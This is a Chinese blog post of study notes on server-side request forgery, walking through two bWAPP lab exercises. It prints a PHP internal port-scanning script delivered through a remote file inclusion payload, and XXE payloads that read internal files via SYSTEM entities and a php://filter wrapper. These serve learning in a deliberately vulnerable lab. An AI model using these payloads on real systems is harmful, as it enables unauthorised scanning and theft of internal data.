美文网首页
SSRF学习

SSRF学习

作者: Miracle778 | 来源:发表于2019-06-15 13:27 被阅读0次

title: SSRF学习
date: 2019-03-27 19:52:10
tags:
- SSRF
categories:
- Web安全
- SSRF


关于SSRF的一些学习笔记,会介绍SSRF的利用原理及两个bWapp中关于SSRF的案例

前言

学习SSRF的一些笔记,记录一遍,以便加深印象。
话不多说,先给出链接
参考链接:SSRFSSRF学习之路

SSRF是什么

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成,服务端发起请求的一个安全漏洞。一般情况下,SSRF的目标是目标网站的内部系统。(因为他是从内部系统访问的,所以可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

SSRF形成原因

SSRF形成的原因大多是由于服务端提供了从其他服务器应用获取数据的功能,但没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

总结来说SSRF漏洞就是黑客通过篡改服务器获取资源的请求,而服务器并没有检测这个请求是否合法,然后黑客就可以以目标网站的身份来访问服务器的一些内部资源

SSRF的用途

SSRF可以用来:

  1. 内外网的端口和服务扫描
  2. 目标网站本地敏感数据的读取
  3. 内外网主机应用程序漏洞的利用
  4. 内外网Web站点漏洞的利用
    ...

SSRF漏洞常见出现位置

由上面叙述中可以得知,SSRF漏洞都是在服务端获取其他站点的资源的过程中形成的。故可以盯紧调用外部资源的参数寻找SSRF漏洞
这里具体可以参考: SSRF漏洞的挖掘经验
就简单概括一下吧,具体看上述链接

  1. 分享:通过URL地址分享网页内容

  2. 转码服务

  3. 在线翻译

  4. 图片加载与下载:通过URL地址加载或下载图片

  5. 图片、文章收藏功能

  6. 未公开的api实现以及其他调用URL的功能

  7. 从URL关键字中寻找:

     share
     wap
     url
     link
     src
     source
     target
     u
     3g
     display
     sourceURl
     imageURL
     domain
     ...
    

SSRF漏洞的简单判断方法

  1. 因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞
  2. 在页面源码中查找访问的资源地址,如果资源地址类型为www.hdu.edu.cn/xxx.php?image=<url>的话,则有可能出现SSRF漏洞

SSRF实例 —— bWapp中的SSRF

任务列表

选择bWapp中的SSRF环境,可以看到有三个任务,第三个因为没有实验环境,所以就做两个。


image

0x01 利用RFI进行端口扫描

点击 Port scan,获取一个利用脚本

<?php

echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";

if(isset($_REQUEST["ip"]))
{
    
    //list of port numbers to scan
    $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
    
    $results = array();
    
    foreach($ports as $port)
    {

        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
        //创建一个套接字连接到指定IP,成功返回句柄,失败false
        {

            $results[$port] = true;
            fclose($pf);
            
        }
        
        else
        {

            $results[$port] = false;        

        }

    }
 
    foreach($results as $port=>$val)
    {

        $prot = getservbyport($port,"tcp");    //返回端口对应协议
        echo "Port $port ($prot): ";

        if($val)
        {

            echo "<span style=\"color:green\">OK</span><br/>";

        }

        else
        {

            echo "<span style=\"color:red\">Inaccessible</span><br/>";

        }

    }

}
?>

分析代码

相应重要注释我已经在上面代码中写出,这里就简单写写。

  1. 首先看到if(isset($_REQUEST["ip"])),先要提交传递IP参数才能激活脚本。
  2. 然后是两个foreach循环,第一个循环是标记出目标IP 21, 22, 23, 25, 53, 80, 110, 1433, 3306这些常用端口的开放情况,开放即为true、关闭为false。第二个循环是将上一个循环判断得出的端口开放情况并加上端口对应的服务协议输出。

利用脚本

  1. 将bWapp的漏洞环境切换为RFI/LFI


    image
  2. 可以看到有个选择语言的按钮,点击后观察到页面的url变化为http://192.168.164.131/bWAPP/rlfi.php?language=lang_en.php&action=go,其中language参数此处存在远程文件包含漏洞,也就是说可以通过此处调用恶意脚本。
    image
  3. 脚本的url地址是http://192.168.164.131/evil/ssrf-1.txt,将url复制下来,构造payload

    POST: http://192.168.164.131/bWAPP/rlfi.php?language=http://192.168.164.131/evil/ssrf-1.txt&action=go
    POST Data: ip=xx.xx.xx.xx

image

0x02 利用XXE获取敏感文件中的内容

点击 Access 获取脚本

# Accesses a file on the internal network (1)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>


# Accesses a file on the internal network (2)
# Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

利用脚本

此处是利用bWapp中的XXE环境进行实验,关于bWapp中XXE的实验我之前已经写过了这里就不多说了。
区别就是将payload分别换成此处脚本中的。

获取robots.txt文件
image
获取heroes.html源码
image
image

总结

SSRF就到这里了。现在都在更些基础的东西,希望日后能多写点更深层次的。

相关文章

  • SSRF学习

    title: SSRF学习date: 2019-03-27 19:52:10tags:- SSRFcategori...

  • weblogic-ssrf漏洞判定(一)

    就目前小白学习情况,暂时认为weblogic中此两处存在SSRF漏洞隐患,SSRF漏洞的基本概念在此就不做阐述了。...

  • SSRF漏洞学习

    什么是 SSRF ? 简介:SSRF(Server-Side Request Forgery)服务端请求伪造,是一...

  • 第五章 CSRF攻击

    要点 CSRF CSRF 防护 SSRF SSRF防护 一、CSRF攻击 CSRF(Cross-Site Requ...

  • 聊一聊ssrf漏洞的挖掘思路与技巧

    所以此文章的内容除了干货还是干货,如果你看完了还是不会挖ssrf,那可以来找我 前言 什么是ssrf SSRF(S...

  • 学习笔记-SSRF基础

    终于准备把欠了好久的SSRF学习记录一下了。最早接触SSRF是去年暑假,师傅给了我一道郁离歌出的入群题。当时对SS...

  • ssrf

    SSRF漏洞是如何产生的? SSRF(Server-Side Request Forgery:服务器端请求伪造) ...

  • SSRF

    SSRF漏洞是如何产生的? SSRF(Server-Side Request Forgery:服务器端请求伪造) ...

  • 6月安恒杯web2 —— 一道SSRF题

    title: 一道SSRF题date: 2019-07-04 13:42:44tags:- CTF- SSRF- ...

  • ssrf攻击内网应用

    一、weblogic ssrf攻击redis Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTT...

网友评论

      本文标题:SSRF学习

      本文链接:https://www.haomeiwen.com/subject/yjxbfctx.html